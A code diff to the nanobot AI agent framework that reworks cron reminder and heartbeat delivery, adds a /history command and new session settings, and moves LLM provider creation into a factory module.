||||
and msg.content.strip()
|
||||
and hasattr(session_manager, "get_or_create")
|
||||
and hasattr(session_manager, "save")
|
||||
):
|
||||
key = session_key or _channel_session_key(msg.channel, msg.chat_id)
|
||||
session = session_manager.get_or_create(key)
|
||||
session.add_message("assistant", msg.content, _channel_delivery=True)
|
||||
session_manager.save(session)
|
||||
await bus.publish_outbound(msg)
|
||||
|
||||
message_tool = getattr(agent, "tools", {}).get("message")
|
||||
if isinstance(message_tool, MessageTool):
|
||||
message_tool.set_send_callback(_deliver_to_channel)
|
||||
|
||||
# Set cron callback (needs agent)
|
||||
async def on_cron_job(job: CronJob) -> str | None:
|
||||
"""Execute a cron job through the agent."""
|
||||
@@ -712,14 +713,14 @@ def _run_gateway(
|
||||
logger.exception("Dream cron job failed")
|
||||
return None
|
||||
|
||||
from nanobot.agent.tools.cron import CronTool
|
||||
from nanobot.agent.tools.message import MessageTool
|
||||
from nanobot.utils.evaluator import evaluate_response
|
||||
|
||||
reminder_note = (
|
||||
"[Scheduled Task] Timer finished.\n\n"
|
||||
f"Task '{job.name}' has been triggered.\n"
|
||||
f"Scheduled instruction: {job.payload.message}"
|
||||
"The scheduled time has arrived. Deliver this reminder to the user now, "
|
||||
"as a brief and natural message in their language. Speak directly to them — "
|
||||
"do not narrate progress, summarize, include user IDs, or add status reports "
|
||||
"like 'Done' or 'Reminded'.\n\n"
|
||||
f"Reminder: {job.payload.message}"
|
||||
)
|
||||
|
||||
cron_tool = agent.tools.get("cron")
|
||||
@@ -730,6 +731,10 @@ def _run_gateway(
|
||||
async def _silent(*_args, **_kwargs):
|
||||
pass
|
||||
|
||||
message_record_token = None
|
||||
if isinstance(message_tool, MessageTool):
|
||||
message_record_token = message_tool.set_record_channel_delivery(True)
|
||||
|
||||
try:
|
||||
resp = await agent.process_direct(
|
||||
reminder_note,
|
||||
@@ -741,10 +746,11 @@ def _run_gateway(
|
||||
finally:
|
||||
if isinstance(cron_tool, CronTool) and cron_token is not None:
|
||||
cron_tool.reset_cron_context(cron_token)
|
||||
if isinstance(message_tool, MessageTool) and message_record_token is not None:
|
||||
message_tool.reset_record_channel_delivery(message_record_token)
|
||||
|
||||
response = resp.content if resp else ""
|
||||
|
||||
message_tool = agent.tools.get("message")
|
||||
if job.payload.deliver and isinstance(message_tool, MessageTool) and message_tool._sent_in_turn:
|
||||
return response
|
||||
|
||||
@@ -753,12 +759,16 @@ def _run_gateway(
|
||||
response, reminder_note, provider, agent.model,
|
||||
)
|
||||
if should_notify:
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
await bus.publish_outbound(OutboundMessage(
|
||||
channel=job.payload.channel or "cli",
|
||||
chat_id=job.payload.to,
|
||||
content=response,
|
||||
))
|
||||
await _deliver_to_channel(
|
||||
OutboundMessage(
|
||||
channel=job.payload.channel or "cli",
|
||||
chat_id=job.payload.to,
|
||||
content=response,
|
||||
metadata=dict(job.payload.channel_meta),
|
||||
),
|
||||
record=True,
|
||||
session_key=job.payload.session_key,
|
||||
)
|
||||
return response
|
||||
|
||||
cron.on_job = on_cron_job
|
||||
@@ -784,6 +794,14 @@ def _run_gateway(
|
||||
return "cli", "direct"
|
||||
|
||||
# Create heartbeat service
|
||||
heartbeat_preamble = (
|
||||
"[Your response will be delivered directly to the user's messaging app. "
|
||||
"Output ONLY the final user-facing message. Never reference internal "
|
||||
"files (HEARTBEAT.md, AWARENESS.md, etc.), your instructions, or your "
|
||||
"decision process. If nothing needs reporting, respond with just "
|
||||
"'All clear.' and nothing else.]\n\n"
|
||||
)
|
||||
|
||||
async def on_heartbeat_execute(tasks: str) -> str:
|
||||
"""Phase 2: execute heartbeat tasks through the full agent loop."""
|
||||
channel, chat_id = _pick_heartbeat_target()
|
||||
@@ -792,7 +810,7 @@ def _run_gateway(
|
||||
pass
|
||||
|
||||
resp = await agent.process_direct(
|
||||
tasks,
|
||||
heartbeat_preamble + tasks,
|
||||
session_key="heartbeat",
|
||||
channel=channel,
|
||||
chat_id=chat_id,
|
||||
@@ -808,12 +826,22 @@ def _run_gateway(
|
||||
return resp.content if resp else ""
|
||||
|
||||
async def on_heartbeat_notify(response: str) -> None:
|
||||
"""Deliver a heartbeat response to the user's channel."""
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
"""Deliver a heartbeat response to the user's channel.
|
||||
|
||||
In addition to publishing the outbound message, this injects the
|
||||
delivered text as an assistant turn into the *target channel's*
|
||||
session. Without this, a user reply on the channel (e.g. "Sure")
|
||||
lands in a session that has no context about the heartbeat message
|
||||
and the agent cannot follow through.
|
||||
"""
|
||||
channel, chat_id = _pick_heartbeat_target()
|
||||
if channel == "cli":
|
||||
return # No external channel available to deliver to
|
||||
await bus.publish_outbound(OutboundMessage(channel=channel, chat_id=chat_id, content=response))
|
||||
|
||||
await _deliver_to_channel(
|
||||
OutboundMessage(channel=channel, chat_id=chat_id, content=response),
|
||||
record=True,
|
||||
)
|
||||
|
||||
hb_cfg = config.gateway.heartbeat
|
||||
heartbeat = HeartbeatService(
|
||||
@@ -1016,6 +1044,8 @@ def agent(
|
||||
unified_session=config.agents.defaults.unified_session,
|
||||
disabled_skills=config.agents.defaults.disabled_skills,
|
||||
session_ttl_minutes=config.agents.defaults.session_ttl_minutes,
|
||||
consolidation_ratio=config.agents.defaults.consolidation_ratio,
|
||||
max_messages=config.agents.defaults.max_messages,
|
||||
tools_config=config.tools,
|
||||
)
|
||||
restart_notice = consume_restart_notice_from_env()
|
||||
@@ -1028,7 +1058,7 @@ def agent(
|
||||
# Shared reference for progress callbacks
|
||||
_thinking: ThinkingSpinner | None = None
|
||||
|
||||
async def _cli_progress(content: str, *, tool_hint: bool = False) -> None:
|
||||
async def _cli_progress(content: str, *, tool_hint: bool = False, **_kwargs: Any) -> None:
|
||||
ch = agent_loop.channels_config
|
||||
if ch and tool_hint and not ch.send_tool_hints:
|
||||
return
|
||||
|
||||
@@ -28,7 +28,11 @@ async def cmd_stop(ctx: CommandContext) -> OutboundMessage:
|
||||
async def cmd_restart(ctx: CommandContext) -> OutboundMessage:
|
||||
"""Restart the process in-place via os.execv."""
|
||||
msg = ctx.msg
|
||||
set_restart_notice_to_env(channel=msg.channel, chat_id=msg.chat_id)
|
||||
set_restart_notice_to_env(
|
||||
channel=msg.channel,
|
||||
chat_id=msg.chat_id,
|
||||
metadata=dict(msg.metadata or {}),
|
||||
)
|
||||
|
||||
async def _do_restart():
|
||||
await asyncio.sleep(1)
|
||||
@@ -52,7 +56,7 @@ async def cmd_status(ctx: CommandContext) -> OutboundMessage:
|
||||
pass
|
||||
if ctx_est <= 0:
|
||||
ctx_est = loop._last_usage.get("prompt_tokens", 0)
|
||||
|
||||
|
||||
# Fetch web search provider usage (best-effort, never blocks the response)
|
||||
search_usage_text: str | None = None
|
||||
try:
|
||||
@@ -306,6 +310,66 @@ async def cmd_dream_restore(ctx: CommandContext) -> OutboundMessage:
|
||||
)
|
||||
|
||||
|
||||
_HISTORY_DEFAULT_COUNT = 10
|
||||
_HISTORY_MAX_COUNT = 50
|
||||
_HISTORY_MAX_CONTENT_CHARS = 200
|
||||
|
||||
|
||||
def _format_history_message(msg: dict) -> str | None:
|
||||
"""Format a single history message for display. Returns None to skip."""
|
||||
role = msg.get("role")
|
||||
if role not in ("user", "assistant"):
|
||||
return None
|
||||
content = msg.get("content") or ""
|
||||
if isinstance(content, list):
|
||||
parts = [b.get("text", "") for b in content if isinstance(b, dict) and b.get("type") == "text"]
|
||||
content = " ".join(parts)
|
||||
content = str(content).strip()
|
||||
if not content:
|
||||
return None
|
||||
if len(content) > _HISTORY_MAX_CONTENT_CHARS:
|
||||
content = content[:_HISTORY_MAX_CONTENT_CHARS] + "…"
|
||||
label = "👤 You" if role == "user" else "🤖 Bot"
|
||||
return f"{label}: {content}"
|
||||
|
||||
|
||||
async def cmd_history(ctx: CommandContext) -> OutboundMessage:
|
||||
"""Show the last N messages of the current session (default 10, max 50).
|
||||
|
||||
Usage: /history [count]
|
||||
"""
|
||||
count = _HISTORY_DEFAULT_COUNT
|
||||
if ctx.args.strip():
|
||||
try:
|
||||
count = max(1, min(int(ctx.args.strip()), _HISTORY_MAX_COUNT))
|
||||
except ValueError:
|
||||
return OutboundMessage(
|
||||
channel=ctx.msg.channel, chat_id=ctx.msg.chat_id,
|
||||
content="Usage: /history [count] — e.g. /history 5 (default: 10, max: 50)",
|
||||
metadata=dict(ctx.msg.metadata or {}),
|
||||
)
|
||||
|
||||
session = ctx.session or ctx.loop.sessions.get_or_create(ctx.key)
|
||||
history = session.get_history(max_messages=0)
|
||||
visible = [_format_history_message(m) for m in history]
|
||||
visible = [m for m in visible if m is not None]
|
||||
recent = visible[-count:]
|
||||
|
||||
if not recent:
|
||||
return OutboundMessage(
|
||||
channel=ctx.msg.channel, chat_id=ctx.msg.chat_id,
|
||||
content="No conversation history yet.",
|
||||
metadata=dict(ctx.msg.metadata or {}),
|
||||
)
|
||||
|
||||
header = f"Last {len(recent)} message(s):\n"
|
||||
return OutboundMessage(
|
||||
channel=ctx.msg.channel, chat_id=ctx.msg.chat_id,
|
||||
content=header + "\n".join(recent),
|
||||
metadata={**dict(ctx.msg.metadata or {}), "render_as": "text"},
|
||||
)
|
||||
|
||||
|
||||
async def cmd_help(ctx: CommandContext) -> OutboundMessage:
|
||||
"""Return available slash commands."""
|
||||
return OutboundMessage(
|
||||
@@ -324,6 +388,7 @@ def build_help_text() -> str:
|
||||
"/stop — Stop the current task",
|
||||
"/restart — Restart the bot",
|
||||
"/status — Show bot status",
|
||||
"/history [n] — Show the last N conversation messages (default 10)",
|
||||
"/dream — Manually trigger Dream consolidation",
|
||||
"/dream-log — Show what the last Dream changed",
|
||||
"/dream-restore — Revert memory to a previous state",
|
||||
@@ -339,6 +404,8 @@ def register_builtin_commands(router: CommandRouter) -> None:
|
||||
router.priority("/status", cmd_status)
|
||||
router.exact("/new", cmd_new)
|
||||
router.exact("/status", cmd_status)
|
||||
router.exact("/history", cmd_history)
|
||||
router.prefix("/history ", cmd_history)
|
||||
router.exact("/dream", cmd_dream)
|
||||
router.exact("/dream-log", cmd_dream_log)
|
||||
router.prefix("/dream-log ", cmd_dream_log)
|
||||
|
||||
@@ -4,9 +4,11 @@ import json
|
||||
import os
|
||||
import re
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
import pydantic
|
||||
from loguru import logger
|
||||
from pydantic import BaseModel
|
||||
|
||||
from nanobot.config.schema import Config
|
||||
|
||||
@@ -78,21 +80,56 @@ def save_config(config: Config, config_path: Path | None = None) -> None:
|
||||
json.dump(data, f, indent=2, ensure_ascii=False)
|
||||
|
||||
|
||||
def resolve_config_env_vars(config: Config) -> Config:
|
||||
"""Return a copy of *config* with ``${VAR}`` env-var references resolved.
|
||||
_ENV_REF_PATTERN = re.compile(r"\$\{([A-Za-z_][A-Za-z0-9_]*)\}")
|
||||
|
||||
Only string values are affected; other types pass through unchanged.
|
||||
Raises :class:`ValueError` if a referenced variable is not set.
|
||||
|
||||
def resolve_config_env_vars(config: Config) -> Config:
|
||||
"""Return *config* with ``${VAR}`` env-var references resolved.
|
||||
|
||||
Walks in place so fields declared with ``exclude=True`` (e.g.
|
||||
``DreamConfig.cron``) survive; returns the same instance when no
|
||||
references are present. Raises ``ValueError`` if a referenced
|
||||
variable is not set.
|
||||
"""
|
||||
data = config.model_dump(mode="json", by_alias=True)
|
||||
data = _resolve_env_vars(data)
|
||||
return Config.model_validate(data)
|
||||
return _resolve_in_place(config)
|
||||
|
||||
|
||||
def _resolve_in_place(obj: Any) -> Any:
|
||||
if isinstance(obj, str):
|
||||
new = _ENV_REF_PATTERN.sub(_env_replace, obj)
|
||||
return new if new != obj else obj
|
||||
if isinstance(obj, BaseModel):
|
||||
updates: dict[str, Any] = {}
|
||||
for name in type(obj).model_fields:
|
||||
old = getattr(obj, name)
|
||||
new = _resolve_in_place(old)
|
||||
if new is not old:
|
||||
updates[name] = new
|
||||
extras = obj.__pydantic_extra__
|
||||
new_extras: dict[str, Any] | None = None
|
||||
if extras:
|
||||
resolved = {k: _resolve_in_place(v) for k, v in extras.items()}
|
||||
if any(resolved[k] is not extras[k] for k in extras):
|
||||
new_extras = resolved
|
||||
if not updates and new_extras is None:
|
||||
return obj
|
||||
copy = obj.model_copy(update=updates) if updates else obj.model_copy()
|
||||
if new_extras is not None:
|
||||
copy.__pydantic_extra__ = new_extras
|
||||
return copy
|
||||
if isinstance(obj, dict):
|
||||
resolved = {k: _resolve_in_place(v) for k, v in obj.items()}
|
||||
return resolved if any(resolved[k] is not obj[k] for k in obj) else obj
|
||||
if isinstance(obj, list):
|
||||
resolved = [_resolve_in_place(v) for v in obj]
|
||||
return resolved if any(nv is not ov for nv, ov in zip(resolved, obj)) else obj
|
||||
return obj
|
||||
|
||||
|
||||
def _resolve_env_vars(obj: object) -> object:
|
||||
"""Recursively resolve ``${VAR}`` patterns in string values."""
|
||||
"""Recursively resolve ``${VAR}`` patterns in plain strings/dicts/lists."""
|
||||
if isinstance(obj, str):
|
||||
return re.sub(r"\$\{([A-Za-z_][A-Za-z0-9_]*)\}", _env_replace, obj)
|
||||
return _ENV_REF_PATTERN.sub(_env_replace, obj)
|
||||
if isinstance(obj, dict):
|
||||
return {k: _resolve_env_vars(v) for k, v in obj.items()}
|
||||
if isinstance(obj, list):
|
||||
|
||||
@@ -90,6 +90,17 @@ class AgentDefaults(Base):
|
||||
validation_alias=AliasChoices("idleCompactAfterMinutes", "sessionTtlMinutes"),
|
||||
serialization_alias="idleCompactAfterMinutes",
|
||||
) # Auto-compact idle threshold in minutes (0 = disabled)
|
||||
max_messages: int = Field(
|
||||
default=120,
|
||||
ge=0,
|
||||
) # Max messages to replay from session history (0 = use default 120, respects token budget)
|
||||
consolidation_ratio: float = Field(
|
||||
default=0.5,
|
||||
ge=0.1,
|
||||
le=0.95,
|
||||
validation_alias=AliasChoices("consolidationRatio"),
|
||||
serialization_alias="consolidationRatio",
|
||||
) # Consolidation target ratio (0.5 = 50% of budget retained after compression)
|
||||
dream: DreamConfig = Field(default_factory=DreamConfig)
|
||||
|
||||
|
||||
@@ -115,6 +126,7 @@ class ProvidersConfig(Base):
|
||||
anthropic: ProviderConfig = Field(default_factory=ProviderConfig)
|
||||
openai: ProviderConfig = Field(default_factory=ProviderConfig)
|
||||
openrouter: ProviderConfig = Field(default_factory=ProviderConfig)
|
||||
huggingface: ProviderConfig = Field(default_factory=ProviderConfig)
|
||||
deepseek: ProviderConfig = Field(default_factory=ProviderConfig)
|
||||
groq: ProviderConfig = Field(default_factory=ProviderConfig)
|
||||
zhipu: ProviderConfig = Field(default_factory=ProviderConfig)
|
||||
|
||||
@@ -109,6 +109,12 @@ class CronService:
|
||||
deliver=j["payload"].get("deliver", False),
|
||||
channel=j["payload"].get("channel"),
|
||||
to=j["payload"].get("to"),
|
||||
channel_meta=(
|
||||
j["payload"].get("channelMeta")
|
||||
or j["payload"].get("channel_meta")
|
||||
or {}
|
||||
),
|
||||
session_key=j["payload"].get("sessionKey") or j["payload"].get("session_key"),
|
||||
),
|
||||
state=CronJobState(
|
||||
next_run_at_ms=j.get("state", {}).get("nextRunAtMs"),
|
||||
@@ -210,6 +216,8 @@ class CronService:
|
||||
"deliver": j.payload.deliver,
|
||||
"channel": j.payload.channel,
|
||||
"to": j.payload.to,
|
||||
"channelMeta": j.payload.channel_meta,
|
||||
"sessionKey": j.payload.session_key,
|
||||
},
|
||||
"state": {
|
||||
"nextRunAtMs": j.state.next_run_at_ms,
|
||||
@@ -379,6 +387,8 @@ class CronService:
|
||||
channel: str | None = None,
|
||||
to: str | None = None,
|
||||
delete_after_run: bool = False,
|
||||
channel_meta: dict | None = None,
|
||||
session_key: str | None = None,
|
||||
) -> CronJob:
|
||||
"""Add a new job."""
|
||||
_validate_schedule_for_add(schedule)
|
||||
@@ -395,6 +405,8 @@ class CronService:
|
||||
deliver=deliver,
|
||||
channel=channel,
|
||||
to=to,
|
||||
channel_meta=channel_meta or {},
|
||||
session_key=session_key,
|
||||
),
|
||||
state=CronJobState(next_run_at_ms=_compute_next_run(schedule, now)),
|
||||
created_at_ms=now,
|
||||
|
||||
@@ -27,6 +27,8 @@ class CronPayload:
|
||||
deliver: bool = False
|
||||
channel: str | None = None # e.g. "whatsapp"
|
||||
to: str | None = None # e.g. phone number
|
||||
channel_meta: dict = field(default_factory=dict) # channel-specific routing (e.g. Slack thread_ts)
|
||||
session_key: str | None = None # original session key for correct session recording
|
||||
|
||||
|
||||
@dataclass
|
||||
|
||||
@@ -147,6 +147,40 @@ class HeartbeatService:
|
||||
except Exception as e:
|
||||
logger.error("Heartbeat error: {}", e)
|
||||
|
||||
@staticmethod
|
||||
def _is_deliverable(response: str) -> bool:
|
||||
"""Check if a heartbeat response is suitable for user delivery.
|
||||
|
||||
Filters out two classes of bad output before the evaluator runs:
|
||||
|
||||
1. **Finalization fallback** — the runner hit empty-response retries
|
||||
and produced a canned error message. For heartbeat, empty output
|
||||
is a valid "nothing to report" outcome, not a failure.
|
||||
2. **Leaked reasoning** — the model reflected internal file names,
|
||||
decision logic, or meta-commentary instead of a user-facing report.
|
||||
"""
|
||||
text = response.lower()
|
||||
|
||||
# Runner finalization fallback
|
||||
if "couldn't produce a final answer" in text:
|
||||
return False
|
||||
|
||||
# Leaked internal reasoning patterns
|
||||
leaked_patterns = [
|
||||
"heartbeat.md",
|
||||
"awareness.md",
|
||||
"judgment call:",
|
||||
"decision logic",
|
||||
"valid options are",
|
||||
"my instructions",
|
||||
"i am supposed to",
|
||||
"strict heartbeat interpretation",
|
||||
]
|
||||
if any(pattern in text for pattern in leaked_patterns):
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
async def _tick(self) -> None:
|
||||
"""Execute a single heartbeat tick."""
|
||||
from nanobot.utils.evaluator import evaluate_response
|
||||
@@ -169,15 +203,25 @@ class HeartbeatService:
|
||||
if self.on_execute:
|
||||
response = await self.on_execute(tasks)
|
||||
|
||||
if response:
|
||||
should_notify = await evaluate_response(
|
||||
response, tasks, self.provider, self.model,
|
||||
if not response:
|
||||
logger.info("Heartbeat: no response from execution")
|
||||
return
|
||||
|
||||
if not self._is_deliverable(response):
|
||||
logger.info(
|
||||
"Heartbeat: suppressed non-deliverable response ({})",
|
||||
response[:80],
|
||||
)
|
||||
if should_notify and self.on_notify:
|
||||
logger.info("Heartbeat: completed, delivering response")
|
||||
await self.on_notify(response)
|
||||
else:
|
||||
logger.info("Heartbeat: silenced by post-run evaluation")
|
||||
return
|
||||
|
||||
should_notify = await evaluate_response(
|
||||
response, tasks, self.provider, self.model,
|
||||
)
|
||||
if should_notify and self.on_notify:
|
||||
logger.info("Heartbeat: completed, delivering response")
|
||||
await self.on_notify(response)
|
||||
else:
|
||||
logger.info("Heartbeat: silenced by post-run evaluation")
|
||||
except Exception:
|
||||
logger.exception("Heartbeat execution failed")
|
||||
|
||||
|
||||
+3
-58
@@ -84,6 +84,7 @@ class Nanobot:
|
||||
unified_session=defaults.unified_session,
|
||||
disabled_skills=defaults.disabled_skills,
|
||||
session_ttl_minutes=defaults.session_ttl_minutes,
|
||||
consolidation_ratio=defaults.consolidation_ratio,
|
||||
tools_config=config.tools,
|
||||
)
|
||||
return cls(loop)
|
||||
@@ -119,62 +120,6 @@ class Nanobot:
|
||||
|
||||
def _make_provider(config: Any) -> Any:
|
||||
"""Create the LLM provider from config (extracted from CLI)."""
|
||||
from nanobot.providers.base import GenerationSettings
|
||||
from nanobot.providers.registry import find_by_name
|
||||
from nanobot.providers.factory import make_provider
|
||||
|
||||
model = config.agents.defaults.model
|
||||
provider_name = config.get_provider_name(model)
|
||||
p = config.get_provider(model)
|
||||
spec = find_by_name(provider_name) if provider_name else None
|
||||
backend = spec.backend if spec else "openai_compat"
|
||||
|
||||
if backend == "azure_openai":
|
||||
if not p or not p.api_key or not p.api_base:
|
||||
raise ValueError("Azure OpenAI requires api_key and api_base in config.")
|
||||
elif backend == "openai_compat" and not model.startswith("bedrock/"):
|
||||
needs_key = not (p and p.api_key)
|
||||
exempt = spec and (spec.is_oauth or spec.is_local or spec.is_direct)
|
||||
if needs_key and not exempt:
|
||||
raise ValueError(f"No API key configured for provider '{provider_name}'.")
|
||||
|
||||
if backend == "openai_codex":
|
||||
from nanobot.providers.openai_codex_provider import OpenAICodexProvider
|
||||
|
||||
provider = OpenAICodexProvider(default_model=model)
|
||||
elif backend == "github_copilot":
|
||||
from nanobot.providers.github_copilot_provider import GitHubCopilotProvider
|
||||
|
||||
provider = GitHubCopilotProvider(default_model=model)
|
||||
elif backend == "azure_openai":
|
||||
from nanobot.providers.azure_openai_provider import AzureOpenAIProvider
|
||||
|
||||
provider = AzureOpenAIProvider(
|
||||
api_key=p.api_key, api_base=p.api_base, default_model=model
|
||||
)
|
||||
elif backend == "anthropic":
|
||||
from nanobot.providers.anthropic_provider import AnthropicProvider
|
||||
|
||||
provider = AnthropicProvider(
|
||||
api_key=p.api_key if p else None,
|
||||
api_base=config.get_api_base(model),
|
||||
default_model=model,
|
||||
extra_headers=p.extra_headers if p else None,
|
||||
)
|
||||
else:
|
||||
from nanobot.providers.openai_compat_provider import OpenAICompatProvider
|
||||
|
||||
provider = OpenAICompatProvider(
|
||||
api_key=p.api_key if p else None,
|
||||
api_base=config.get_api_base(model),
|
||||
default_model=model,
|
||||
extra_headers=p.extra_headers if p else None,
|
||||
spec=spec,
|
||||
)
|
||||
|
||||
defaults = config.agents.defaults
|
||||
provider.generation = GenerationSettings(
|
||||
temperature=defaults.temperature,
|
||||
max_tokens=defaults.max_tokens,
|
||||
reasoning_effort=defaults.reasoning_effort,
|
||||
)
|
||||
return provider
|
||||
return make_provider(config)
|
||||
|
||||
@@ -167,7 +167,9 @@ class AnthropicProvider(LLMProvider):
|
||||
"type": "tool_result",
|
||||
"tool_use_id": msg.get("tool_call_id", ""),
|
||||
}
|
||||
if isinstance(content, (str, list)):
|
||||
if isinstance(content, list):
|
||||
block["content"] = AnthropicProvider._convert_user_content(content)
|
||||
elif isinstance(content, str):
|
||||
block["content"] = content
|
||||
else:
|
||||
block["content"] = str(content) if content else ""
|
||||
@@ -208,7 +210,8 @@ class AnthropicProvider(LLMProvider):
|
||||
|
||||
return blocks or [{"type": "text", "text": ""}]
|
||||
|
||||
def _convert_user_content(self, content: Any) -> Any:
|
||||
@staticmethod
|
||||
def _convert_user_content(content: Any) -> Any:
|
||||
"""Convert user message content, translating image_url blocks."""
|
||||
if isinstance(content, str) or content is None:
|
||||
return content or "(empty)"
|
||||
@@ -221,7 +224,7 @@ class AnthropicProvider(LLMProvider):
|
||||
result.append({"type": "text", "text": str(item)})
|
||||
continue
|
||||
if item.get("type") == "image_url":
|
||||
converted = self._convert_image_block(item)
|
||||
converted = AnthropicProvider._convert_image_block(item)
|
||||
if converted:
|
||||
result.append(converted)
|
||||
continue
|
||||
@@ -433,6 +436,10 @@ class AnthropicProvider(LLMProvider):
|
||||
max_tokens = max(1, max_tokens)
|
||||
thinking_enabled = bool(reasoning_effort)
|
||||
|
||||
# claude-opus-4-7 deprecated the `temperature` parameter entirely — the
|
||||
# API returns 400 if it is present, on any code path.
|
||||
omit_temperature = "opus-4-7" in model_name
|
||||
|
||||
kwargs: dict[str, Any] = {
|
||||
"model": model_name,
|
||||
"messages": anthropic_msgs,
|
||||
@@ -447,14 +454,16 @@ class AnthropicProvider(LLMProvider):
|
||||
# Supported on claude-sonnet-4-6 and claude-opus-4-6.
|
||||
# Also auto-enables interleaved thinking between tool calls.
|
||||
kwargs["thinking"] = {"type": "adaptive"}
|
||||
kwargs["temperature"] = 1.0
|
||||
if not omit_temperature:
|
||||
kwargs["temperature"] = 1.0
|
||||
elif thinking_enabled:
|
||||
budget_map = {"low": 1024, "medium": 4096, "high": max(8192, max_tokens)}
|
||||
budget = budget_map.get(reasoning_effort.lower(), 4096)
|
||||
kwargs["thinking"] = {"type": "enabled", "budget_tokens": budget}
|
||||
kwargs["max_tokens"] = max(max_tokens, budget + 4096)
|
||||
kwargs["temperature"] = 1.0
|
||||
else:
|
||||
if not omit_temperature:
|
||||
kwargs["temperature"] = 1.0
|
||||
elif not omit_temperature:
|
||||
kwargs["temperature"] = temperature
|
||||
|
||||
if anthropic_tools:
|
||||
|
||||
@@ -91,6 +91,8 @@ _SYNTHETIC_USER_CONTENT = "(conversation continued)"
|
||||
class LLMProvider(ABC):
|
||||
"""Base class for LLM providers."""
|
||||
|
||||
supports_progress_deltas = False
|
||||
|
||||
_CHAT_RETRY_DELAYS = (1, 2, 4)
|
||||
_PERSISTENT_MAX_DELAY = 60
|
||||
_PERSISTENT_IDENTICAL_ERROR_LIMIT = 10
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
"""Create LLM providers from config."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
|
||||
from nanobot.config.schema import Config
|
||||
from nanobot.providers.base import GenerationSettings, LLMProvider
|
||||
from nanobot.providers.registry import find_by_name
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class ProviderSnapshot:
|
||||
provider: LLMProvider
|
||||
model: str
|
||||
context_window_tokens: int
|
||||
signature: tuple[object, ...]
|
||||
|
||||
|
||||
def make_provider(config: Config) -> LLMProvider:
|
||||
"""Create the LLM provider implied by config."""
|
||||
model = config.agents.defaults.model
|
||||
provider_name = config.get_provider_name(model)
|
||||
p = config.get_provider(model)
|
||||
spec = find_by_name(provider_name) if provider_name else None
|
||||
backend = spec.backend if spec else "openai_compat"
|
||||
|
||||
if backend == "azure_openai":
|
||||
if not p or not p.api_key or not p.api_base:
|
||||
raise ValueError("Azure OpenAI requires api_key and api_base in config.")
|
||||
elif backend == "openai_compat" and not model.startswith("bedrock/"):
|
||||
needs_key = not (p and p.api_key)
|
||||
exempt = spec and (spec.is_oauth or spec.is_local or spec.is_direct)
|
||||
if needs_key and not exempt:
|
||||
raise ValueError(f"No API key configured for provider '{provider_name}'.")
|
||||
|
||||
if backend == "openai_codex":
|
||||
from nanobot.providers.openai_codex_provider import OpenAICodexProvider
|
||||
|
||||
provider = OpenAICodexProvider(default_model=model)
|
||||
elif backend == "azure_openai":
|
||||
from nanobot.providers.azure_openai_provider import AzureOpenAIProvider
|
||||
|
||||
provider = AzureOpenAIProvider(
|
||||
api_key=p.api_key,
|
||||
api_base=p.api_base,
|
||||
default_model=model,
|
||||
)
|
||||
elif backend == "github_copilot":
|
||||
from nanobot.providers.github_copilot_provider import GitHubCopilotProvider
|
||||
|
||||
provider = GitHubCopilotProvider(default_model=model)
|
||||
elif backend == "anthropic":
|
||||
from nanobot.providers.anthropic_provider import AnthropicProvider
|
||||
|
||||
provider = AnthropicProvider(
|
||||
api_key=p.api_key if p else None,
|
||||
api_base=config.get_api_base(model),
|
||||
default_model=model,
|
||||
extra_headers=p.extra_headers if p else None,
|
||||
)
|
||||
else:
|
||||
from nanobot.providers.openai_compat_provider import OpenAICompatProvider
|
||||
|
||||
provider = OpenAICompatProvider(
|
||||
api_key=p.api_key if p else None,
|
||||
api_base=config.get_api_base(model),
|
||||
default_model=model,
|
||||
extra_headers=p.extra_headers if p else None,
|
||||
spec=spec,
|
||||
)
|
||||
|
||||
defaults = config.agents.defaults
|
||||
provider.generation = GenerationSettings(
|
||||
temperature=defaults.temperature,
|
||||
max_tokens=defaults.max_tokens,
|
||||
reasoning_effort=defaults.reasoning_effort,
|
||||
)
|
||||
return provider
|
||||
|
||||
|
||||
def provider_signature(config: Config) -> tuple[object, ...]:
|
||||
"""Return the config fields that affect the primary LLM provider."""
|
||||
model = config.agents.defaults.model
|
||||
defaults = config.agents.defaults
|
||||
return (
|
||||
model,
|
||||
defaults.provider,
|
||||
config.get_provider_name(model),
|
||||
config.get_api_key(model),
|
||||
config.get_api_base(model),
|
||||
defaults.max_tokens,
|
||||
defaults.temperature,
|
||||
defaults.reasoning_effort,
|
||||
defaults.context_window_tokens,
|
||||
)
|
||||
|
||||
|
||||
def build_provider_snapshot(config: Config) -> ProviderSnapshot:
|
||||
return ProviderSnapshot(
|
||||
provider=make_provider(config),
|
||||
model=config.agents.defaults.model,
|
||||
context_window_tokens=config.agents.defaults.context_window_tokens,
|
||||
signature=provider_signature(config),
|
||||
)
|
||||
|
||||
|
||||
def load_provider_snapshot(config_path: Path | None = None) -> ProviderSnapshot:
|
||||
from nanobot.config.loader import load_config, resolve_config_env_vars
|
||||
|
||||
return build_provider_snapshot(resolve_config_env_vars(load_config(config_path)))
|
||||
@@ -26,6 +26,8 @@ DEFAULT_ORIGINATOR = "nanobot"
|
||||
class OpenAICodexProvider(LLMProvider):
|
||||
"""Use Codex OAuth to call the Responses API."""
|
||||
|
||||
supports_progress_deltas = True
|
||||
|
||||
def __init__(self, default_model: str = "openai-codex/gpt-5.1-codex"):
|
||||
super().__init__(api_key=None, api_base=None)
|
||||
self.default_model = default_model
|
||||
|
||||
@@ -3,17 +3,20 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import hashlib
|
||||
import importlib.util
|
||||
import json
|
||||
import os
|
||||
import secrets
|
||||
import string
|
||||
import time
|
||||
import uuid
|
||||
from collections.abc import Awaitable, Callable
|
||||
from ipaddress import ip_address
|
||||
from typing import TYPE_CHECKING, Any
|
||||
from urllib.parse import urlparse
|
||||
|
||||
import httpx
|
||||
import json_repair
|
||||
from loguru import logger
|
||||
|
||||
@@ -57,6 +60,16 @@ _KIMI_THINKING_MODELS: frozenset[str] = frozenset({
|
||||
"kimi-k2.6",
|
||||
"k2.6-code-preview",
|
||||
})
|
||||
_OPENAI_COMPAT_REQUEST_TIMEOUT_S = 120.0
|
||||
|
||||
